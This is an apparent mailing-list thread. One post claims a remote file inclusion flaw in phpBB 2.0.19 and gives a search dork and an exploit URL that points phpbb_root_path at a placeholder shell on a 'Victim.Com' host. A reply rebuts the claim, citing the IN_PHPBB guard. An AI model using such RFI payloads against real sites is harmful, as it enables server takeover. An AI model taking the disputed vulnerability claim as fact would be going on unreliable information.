Remote File Include In phpBB-2.0.19

[RaeD Hasadya]

By Hasadya Raed
Contact : RaeD@BsdMail.Com | Israel
--------------------------------------------------
Script : phpBB-2.0.19
Dork : phpBB-2.0.19=20
--------------------------------------------------
B.File :=20
usercp_register.php
--------------------------------------------------
V.Code :=20
include($phpbb_root_path . ');=20
--------------------------------------------------
Exploit :=20
http://www.Victim.Com/Path_Script/includes/usercp_register.php?phpbb_root_p=
ath=3D[Shell-Attack]



=20=20



--=20
_______________________________________________
Get your free email from http://bsdmail.com

[Vipsta]

On Mar 24, 2:53 pm, r...@bsdmail.com ("RaeD Hasadya") wrote:
> By Hasadya Raed
> Contact : R...@BsdMail.Com | Israel
> --------------------------------------------------
> Script : phpBB-2.0.19
> Dork : phpBB-2.0.19=20
> --------------------------------------------------
> B.File :=20
> usercp_register.php
> --------------------------------------------------
> V.Code :=20
> include($phpbb_root_path . ');=20
> --------------------------------------------------
> Exploit :=20http://www.Victim.Com/Path_Script/includes/usercp_register.php?phpbb_...
> ath=3D[Shell-Attack]
>
> =20=20
>
> --=20
> _______________________________________________
> Get your free email fromhttp://bsdmail.com

Dude...You're an idiot.

First of all, all phpBB scripts terminate if they're not called by
another script that defines the constant "IN_PHPBB". On line 37-41 we
have this little bit that blocks this attack:

if ( !defined('IN_PHPBB') )
{
die("Hacking attempt");
exit;
}

Second, if that code did not exist in the file, we would still have to
do "&mode=register" in the url, because of this line:

if ( $mode == 'register

phpBB is not vulnerable. You have been owned.